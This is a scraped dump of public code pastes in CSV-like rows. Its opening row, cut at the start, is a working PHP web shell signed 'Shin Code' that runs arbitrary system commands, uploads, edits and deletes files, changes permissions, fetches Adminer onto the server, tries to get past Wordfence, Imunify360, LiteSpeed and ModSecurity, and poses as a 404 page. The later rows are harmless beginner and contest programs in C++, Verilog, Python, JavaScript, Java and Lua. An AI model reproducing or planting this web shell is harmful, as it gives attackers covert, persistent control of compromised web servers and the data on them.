=== 0) { + $output = implode(PHP_EOL, $execOutput); + if (!empty($output)) { + return $output; + } + } else { + return 'Error: Command execution failed.'; + } + + // passthru + ob_start(); + @passthru($command, $passthruStatus); + $passthruOutput = ob_get_clean(); + if ($passthruStatus === 0) { + $output = $passthruOutput; + if (!empty($output)) { + return $output; + } + } else { + return 'Error: Command execution failed.'; + } + + // system + ob_start(); + @system($command, $systemStatus); + $systemOutput = ob_get_clean(); + if ($systemStatus === 0) { + $output = $systemOutput; + if (!empty($output)) { + return $output; + } + } else { + return 'Error: Command execution failed.'; + } + + return 'Error: Command execution failed.'; +} +function readFileContent($file) +{ + return file_get_contents($file); +} + +function saveFileContent($file) +{ + if (isset($_POST['content'])) { + return file_put_contents($file, $_POST['content']) !== false; + } + return false; +} +//upfile +function uploadFile($targetDirectory) +{ + if (isset($_FILES['file'])) { + $currentDirectory = getCurrentDirectory(); + $targetFile = $targetDirectory . '/' . basename($_FILES['file']['name']); + if ($_FILES['file']['size'] === 0) { + return 'Open Ur Eyes Bitch !!!.'; + } else { + if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { + return 'File uploaded successfully.'; + } else { + return 'Error uploading file.'; + } + } + return ''; +} +} +//dir +function changeDirectory($path) +{ + if ($path === '..') { + @chdir('..'); + } else { + @chdir($path); + } +} + +function getCurrentDirectory() +{ + return realpath(getcwd()); +} + +//open file juga folder +function getLink($path, $name) +{ + if (is_dir($path)) { + return '' . $name . ''; + } elseif (is_file($path)) { + return '' . $name . ''; + + } +} +function getDirectoryArray($path) +{ + $directories = explode('/', $path); + $directoryArray = []; + $currentPath = ''; + foreach ($directories as $directory) { + if (!empty($directory)) { + $currentPath .= '/' . $directory; + $directoryArray[] = [ + 'path' => $currentPath, + 'name' => $directory, + ]; + } + } + return $directoryArray; +} + + +function showBreadcrumb($path) +{ + $path = str_replace('\\', '/', $path); + $paths = explode('/', $path); + ?> +
+ $pat) { ?> + + DIR : / + + + + "">/ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeSizePermissionActions
+ + ""> + + + + + + + + +
None
+ alert('File dihapus');window.location='?dir="" . urlencode($currentDirectory) . ""';""; + exit; + } elseif (is_dir($file)) { + $responseMessage = deleteFolder($file); + echo """"; + exit; + } else { + $errorMessage = 'File or folder does not exist.'; + } + } +} +//panggil adminer +if (isset($_POST['Summon'])) { + $baseUrl = 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php'; + $currentPath = getCurrentDirectory(); + + $fileUrl = $baseUrl; + $fileName = 'Adminer.php'; + + $filePath = $currentPath . '/' . $fileName; + + $fileContent = @file_get_contents($fileUrl); + if ($fileContent !== false) { + if (file_put_contents($filePath, $fileContent) !== false) { + + $responseMessage = 'File ""' . $fileName . '"" summoned successfully. ' . $filePath . ''; + } else { + $errorMessage = 'Failed to save the summoned file.'; + } + } else { + $errorMessage = 'Failed to fetch the file content. None File'; + } +} +// katanya bypass +if (function_exists('litespeed_request_headers')) { + $headers = litespeed_request_headers(); + if (isset($headers['X-LSCACHE'])) { + header('X-LSCACHE: off'); + } +} + +if (defined('WORDFENCE_VERSION')) { + define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true); + define('WORDFENCE_DISABLE_FILE_MODS', true); +} + +if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) { + $imunifyHeaders = imunify360_request_headers(); + if (isset($imunifyHeaders['X-Imunify360-Request'])) { + header('X-Imunify360-Request: bypass'); + } + if (isset($imunifyHeaders['X-Imunify360-Captcha-Bypass'])) { + header('X-Imunify360-Captcha-Bypass: ' . $imunifyHeaders['X-Imunify360-Captcha-Bypass']); + } +} + + +if (function_exists('apache_request_headers')) { + $apacheHeaders = apache_request_headers(); + if (isset($apacheHeaders['X-Mod-Security'])) { + header('X-Mod-Security: ' . $apacheHeaders['X-Mod-Security']); + } +} + +if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) { + $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP']; + if (isset($apacheHeaders['HTTP_CF_VISITOR'])) { + header('HTTP_CF_VISITOR: ' . $apacheHeaders['HTTP_CF_VISITOR']); + } +} +?> + + + + 404 + + + +
+

[ Shin Bypassed ]

+
+
+
+
+ +
+ +
+ + + Send a report to ["" . $_POST['email'] . ""] - $xx""; + } else { + echo ""Failed to send the email.""; + } + } else { + echo ""Please provide an email address.""; + } + } else { + ?> +

Mail Test :

+
+ + +
+ + + +

+ + +
+ +
+
+

Upload:

+
+ + +
+
+ +
+

Command:

+
+ + + +
+
+
+ '; + echo '
' . htmlspecialchars($content) . '
'; + echo '
'; + } else { + echo 'Failed to read the file.'; + } + } + ?> + +

Command Output:

+
+
+
+ + + +

+ + +
+

Rename File or Folder:

+
+ +
+ + "" class=""button"">Cancel +
+
+ + +
+

Edit File:

+
+
+ +
+
+ +
+

Change Permission:

+
+ ""> + + +
+
+ +
+ + Filemanager'; + showBreadcrumb($currentDirectory); + showFileTable($currentDirectory); + ?> + +
+
+
+ +
+
+

Server Info

+ + +
    +
  • Hostname:
  • + +
  • IP Address:
  • + +
  • PHP Version:
  • +
  • Server Software:
  • + +
  • HDD Total Space:
  • +
  • HDD Free Space:
  • + +
  • Total Domains in Server:
  • +
  • System:
  • +
+
+ +
+

System Info

+
    + ini_get('safe_mode') ? 'Enabled' : 'Disabled', + 'Disable Functions' => ini_get('disable_functions'), + 'GCC' => function_exists('shell_exec') && shell_exec('gcc --version') ? 'On' : 'Off', + 'Perl' => function_exists('shell_exec') && shell_exec('perl --version') ? 'On' : 'Off', + 'Python Version' => ($pythonVersion = shell_exec('python --version')) ? 'On (' . $pythonVersion . ')' : 'Off', + 'PKEXEC Version' => ($pkexecVersion = shell_exec('pkexec --version')) ? 'On (' . $pkexecVersion . ')' : 'Off', + 'Curl' => function_exists('shell_exec') && shell_exec('curl --version') ? 'On' : 'Off', + 'Wget' => function_exists('shell_exec') && shell_exec('wget --version') ? 'On' : 'Off', + 'Mysql' => function_exists('shell_exec') && shell_exec('mysql --version') ? 'On' : 'Off', + 'Ftp' => function_exists('shell_exec') && shell_exec('ftp --version') ? 'On' : 'Off', + 'Ssh' => function_exists('shell_exec') && shell_exec('ssh --version') ? 'On' : 'Off', + 'Mail' => function_exists('shell_exec') && shell_exec('mail --version') ? 'On' : 'Off', + 'cron' => function_exists('shell_exec') && shell_exec('cron --version') ? 'On' : 'Off', + 'SendMail' => function_exists('shell_exec') && shell_exec('sendmail --version') ? 'On' : 'Off', + ]; + ?> + + + +
+
+ +
+

User Info

+
    +
  • Username:
  • +
  • User ID:
  • +
  • Group ID:
  • +
+
+
+
+ + +
+

© Coded By Shin Code.

+
+ +" +SgPS3SeF,pyramid,excellent940707,C++,Wednesday 18th of October 2023 11:01:23 AM CDT,"#include +#include +using namespace std; + +int main(){ + printf(""Please input the height of your pyramid:""); + int n; + scanf(""%d"",&n); + for(int i=1;i<=n;++i){ + for(int j=n-i;j;--j)printf("" ""); + for(int j=0;j<2*i-1;++j)printf(""*""); + printf(""\n""); + } + return 0; +}" +XxmTvWfR,ac lab4 pb1&2,STANAANDREY,VeriLog,Wednesday 18th of October 2023 10:52:59 AM CDT,"module fac(input x, y, ci, + output co, z); + assign {co,z}=x+y+ci; +endmodule + +module fac_tb; + reg x, y, ci; + wire z, co; + fac cut(.x(x), .y(y), .ci(ci), .co(co), .z(z)); + integer k; + initial begin + $display(""Time\tx\ty\tci\t\tco\tz""); + $monitor(""%0t\t%b\t%b\t%b\t\t%b\t%b"", $time, x, y, ci, co, z); + for (k = 0; k < 8; k = k + 1) begin + {x,y,ci} = k; + #10; + end + end +endmodule" +NnhL6g3C,18102023,plarmi,Python,Wednesday 18th of October 2023 10:50:28 AM CDT,"# 1 +digit1 = input(""Введите 1-ю цифру: "") +digit2 = input(""Введите 2-ю цифру: "") +digit3 = input(""Введите 3-ю цифру: "") +digits = int(digit1 + digit2 + digit3) +print(digits) + +# 2 +number = int(input(""Введите четырёхзначное число: "")) +digit1 = number // 1000 +digit2 = (number // 100) % 10 +digit3 = (number // 10) % 10 +digit4 = number % 10 +print(digit1 * digit2 * digit3 * digit4) + +# 3 +meters = int(input(""Введите кол-во метров: "")) +print(""Сантиметры:"", meters * 100, ""\nДециметр:"", meters * 10, ""\nМиллиметры:"", meters * 1000, ""\nМили:"", meters * 0.000621371) + +# 4 +base = int(input(""Введите основание: "")) +height = int(input(""Введите размер высоты: "")) +print(""Площадь треугольника"", 0.5 * base * height) + +# 5 +number = int(input(""Введите четырёхзначное число: "")) +digit1 = str(number // 1000) +digit2 = str((number // 100) % 10) +digit3 = str((number // 10) % 10) +digit4 = str(number % 10) +print(digit4 + digit3 + digit2 + digit1) + +" +ckZ5SXAz,StartApplication,Farliam,Java,Wednesday 18th of October 2023 10:35:21 AM CDT,"package de.comcave.launcher3.client; + +import de.comcave.basiclib.info.Header; +import de.comcave.websocket.helper.Toolkit; +import java.io.IOException; +import java.net.ServerSocket; +import java.security.Security; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +/* loaded from: cc-launcher-client.jar:de/comcave/launcher3/client/StartApplication.class */ +public class StartApplication { + private static final Logger LOG = LogManager.getLogger((Class) StartApplication.class); + + public static void main(String[] args) { + String userHome = System.getProperty(Header.KEY_USER_HOME); + String detectedOs = Toolkit.getClientOS(); + if (userHome.isEmpty()) { + System.setProperty(Header.KEY_USER_HOME, System.getProperty(""HOME"")); + LOG.info(""Setting user.home for cc-client to:"" + System.getProperty(""HOME"")); + } + Security.setProperty(""networkaddress.cache.ttl"", ""300""); + Security.setProperty(""networkaddress.cache.negative.ttl"", ""0""); + LOG.info(""networkaddress.cache.ttl="" + Security.getProperty(""networkaddress.cache.ttl"")); + LOG.info(""networkaddress.cache.negative.ttl="" + Security.getProperty(""networkaddress.cache.negative.ttl"")); + ServerSocket socket = null; + if (""Mac"".equals(detectedOs)) { + LauncherClient.launch(LauncherClient.class, args); + return; + } + try { + try { + socket = new ServerSocket(59843); + LauncherClient.launch(LauncherClient.class, args); + if (socket != null) { + try { + socket.close(); + } catch (Exception e) { + LOG.error(""Fehler beim Schließen des Launchers.""); + } + } + } catch (Throwable th) { + if (socket != null) { + try { + socket.close(); + } catch (Exception e2) { + LOG.error(""Fehler beim Schließen des Launchers.""); + } + } + throw th; + } + } catch (IOException e3) { + LOG.error(""CCLauncher läuft bereits. Weiterer Startversuch wurde unterbunden.""); + if (socket != null) { + try { + socket.close(); + } catch (Exception e4) { + LOG.error(""Fehler beim Schließen des Launchers.""); + } + } + } + } +}" +4fV0hpXJ,Numbers,Pijomir,JavaScript,Wednesday 18th of October 2023 10:30:25 AM CDT,"function findFiveTopNumbers(singleLine) { + let sequence = singleLine.split(' ').map(Number); + let theAverage = sequence.reduce((a, b) => a + b) / sequence.length; + let biggerThanAverage = sequence.filter(a => a > theAverage).sort((a, b) => b - a); + let result = biggerThanAverage.slice(0, 5); + console.log(result.length > 0 ? result.join(' ') : 'No'); +}" +nLP4ChzS,Trasure Hunt,Pijomir,JavaScript,Wednesday 18th of October 2023 10:29:51 AM CDT,"function manageChestContent(input) { + let chestContent = input.shift().split('|'); + let commands = {'Loot': loot, 'Drop' : drop, 'Steal': steal}; + + for (let el of input) { + let currentEl = el.split(' '); + let currentCommand = currentEl.shift(); + if (currentCommand === 'Yohoho!') { + break; + } + + commands[currentCommand](chestContent, currentEl); + } + + let treasureGain = 0; + chestContent.forEach(a => treasureGain += a.length); + let averageTreasureGain = treasureGain / chestContent.length; + console.log(chestContent.length === 0 ? 'Failed treasure hunt.' : `Average treasure gain: ${averageTreasureGain.toFixed(2)} pirate credits.`); + + function loot(arr, input) { + for ( let item of input) { + if (!arr.includes(item)) { + arr.unshift(item); + } + } + } + + function drop(arr, index) { + index = Number(index[0]); + if (arr[index]) { + let droppedLoot = arr.splice(index, 1); + arr.push(droppedLoot[0]); + } + } + + function steal(arr, count) { + count = Number(count[0]); + let stealedItemsCount = Math.min(count, arr.length); + let stealedItems = arr.splice(arr.length - stealedItemsCount); + console.log(stealedItems.join(', ')); + } +}" +aUj0pfhz,Computer Store,Pijomir,JavaScript,Wednesday 18th of October 2023 10:29:05 AM CDT,"function printReceiptForComputer(input) { + let priceWithoutTaxes = 0; + let taxes = 0; + let priceWithTaxes = 0; + let typeOfClient = input.pop(); + while (input.length > 0) { + let currentPrice = Number(input.shift()); + if (currentPrice <= 0) { + console.log('Invalid price!'); + } else { + priceWithoutTaxes += currentPrice; + taxes += currentPrice * 0.2; + priceWithTaxes += currentPrice * 1.2; + } + } + + if (priceWithTaxes === 0) { + console.log('Invalid order!'); + } else { + console.log('Congratulations you\'ve just bought a new computer!'); + console.log(`Price without taxes: ${priceWithoutTaxes.toFixed(2)}$`); + console.log(`Taxes: ${taxes.toFixed(2)}$`); + console.log(`${'-'.repeat(11)}`); + console.log(`Total price: ${typeOfClient === 'regular' ? priceWithTaxes.toFixed(2) : (priceWithTaxes * 0.9).toFixed(2)}$`); + + } +}" +XAuxFFfV,10250 - The Other Two Trees,MiinaMagdy,C++,Wednesday 18th of October 2023 10:16:44 AM CDT,"#include +#include +#include + +using namespace std; +using namespace __gnu_pbds; +#define ordered_set tree, rb_tree_tag, tree_order_statistics_node_update> +#define multi_ordered_set tree, rb_tree_tag, tree_order_statistics_node_update> +#define endl ""\n"" +#define MOD 1000000007 +#define INF 2000000000 +#define all(s) s.begin(), s.end() +#define rall(s) s.rbegin(), s.rend() +#define sz(x) int(x.size()) +#define crossProd(A,B) ((conj(A)*(B)).imag()) +#define dotProd(A,B) ((conj(A)*(B)).real()) + +typedef long long ll; +typedef long double ld; +typedef unsigned long long ull; + +#define EPS 1e-9 +#define PI acos(-1) +#define X real() +#define Y imag() +#define normalize(a) (a) / length(a) +#define lengthSqr(p) dot_prod(p, p) +// #define rotateO(p, ang) p * exp(point(0, ang)) +// #define rotateA(p, about, ang) rotateO(vector((about), (p)), ang) + (about) +#define reflicatO(v, m) conj(v / m) * m +#define reflicatA(v, about, m) conj(vector(about, v) / vector(about, m)) * vector(about, m) + about + +template +class point { +public: + T x, y; + point() { + x = y = 0; + } + point(T _x, T _y) { + x = _x; + y = _y; + } + point(const point &p) { + x = p.x; + y = p.y; + } + // vector from point a to point b + point(const point &a, const point &b) { + *this = b - a; + } + point operator=(const point &p) { + x = p.x; + y = p.y; + return *this; + } + point operator+(const point &p) const { + return point(x + p.x, y + p.y); + } + point operator-(const point &p) const { + return point(x - p.x, y - p.y); + } + // dot product + T operator*(const point &p) const { + return x * p.x + y * p.y; + } + // cross product + T operator^(const point &p) const { + return x * p.y - y * p.x; + } + point operator*(const T &factor) const { + return point(x * factor, y * factor); + } + point operator/(const T &factor) const { + return point(x / factor, y / factor); + } + friend istream &operator>>(istream &is, point &p) { + is >> p.x >> p.y; + return is; + } + friend ostream &operator<<(ostream &os, const point &p) { + os << p.x << "" "" << p.y; + return os; + } + bool operator==(const point &p) const { + return (x == p.x && y == p.y); + } + bool operator!=(const point &p) const { + return (x != p.x || y != p.y); + } + double arg() const { + return atan2l(y, x); + } + T lenSqr() const { + return x * x + y * y; + } + double len() const { + return hypot(x, y); + } + // distance + double dist(const point &p) const { + return hypot(x - p.x, y - p.y); + } + // distance squared + T distSqr(const point &p) const { + return (x - p.x) * (x - p.x) + (y - p.y) * (y - p.y); + } + // returns 1 for counterclockwise order + // returns -1 for clockwise order + // returns 0 if the points are collinear + int orientation(const point &p, const point &q) const { + T val = (q - p) ^ (*this - q); + if (val == 0) + return 0; + return (val > 0) ? 1 : -1; + } + // check intersection between line segment p1q1 and line segment p2q2 + static bool intersect_ab_cd(point a, point b, point c, point d, point &intersect) { + point u(a, b); + point v(c, d); + point w(c, a); + T d1 = u ^ v; + T d2 = v ^ w; + T d3 = u ^ w; + if (d1 == 0) + return false; + double t1 = d2 / d1; + double t2 = d3 / d1; + intersect = a + u * t1; + return true; // e.g ab is a line, cd is a line + // return t1 >= EPS && t2 >= EPS && t2 <= 1 + EPS; // e.g ab is a ray, cd is a segment + } + // rotate point by angle theta in radians counter-clockwise around origin + point rotateO(double theta) const { + return point(x * cos(theta) - y * sin(theta), x * sin(theta) + y * cos(theta)); + } + void desmosDisplay() { + cout << fixed << setprecision(9) << ""("" << x << "","" << y << "")"" << endl; + } + point midPoint(point p) { + return point((*this + p) / 2); + } +}; + +// ab segment, c point +double segPointDist(point a, point b, point c, point &ans) { + point u(a, b), v(b, c), w(a, c); + double d1, d2; + if ((d1 = w * u) < -EPS) { + ans = a; + return a.dist(c); + } + if ((d2 = u * u) <= d1) { + ans = b; + return b.dist(c); + } + double t = d1 / d2; + ans = a + u * t; + return ans.dist(c); +} + +void solve() { + cout << fixed << setprecision(10); + point p1, p2; + while (cin >> p1 >> p2) { + point mp = p1.midPoint(p2); + p1 = p1 - mp; + p2 = p2 - mp; + p1 = point(-p1.y, p1.x); + p2 = point(-p2.y, p2.x); + cout << p1 + mp << "" "" << p2 + mp << endl; + } +} + +int main(void) +{ + ios_base::sync_with_stdio(false), cin.tie(NULL), cout.tie(NULL); + int testcase = 1; + // cin >> testcase; + while (testcase--) + solve(); + return 0; +}" +rv3qggxL,Untitled,kirkarr,Lua,Wednesday 18th of October 2023 10:11:50 AM CDT,"peripheral.find(""modem"", rednet.open) +while true do + local id,msg = rednet.receive() + if id ~= nil then + if msg == ""turn"" then + enabled = not enabled + redstone.setOutput(""back"",enabled) + end + print(id,msg) + end +end"